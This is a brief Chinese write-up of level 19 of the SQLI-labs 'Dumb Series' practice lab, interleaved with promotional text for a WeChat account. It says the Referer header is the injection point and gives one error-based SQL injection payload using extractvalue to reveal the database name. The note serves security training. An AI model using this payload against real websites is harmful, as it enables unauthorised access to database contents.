（1）根据题意，从Referer入手SQLI DUMB SERIES-19 随笔 第1张

（2）报错注入与上一关相同。如爆库名：

SRE实战 互联网时代守护先锋，助力企业售后服务体系运筹帷幄！一键直达领取阿里云限量特价优惠。 
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

 SQLI DUMB SERIES-19 随笔 第2张

扫码关注我们
微信号：SRE实战
拒绝背锅 运筹帷幄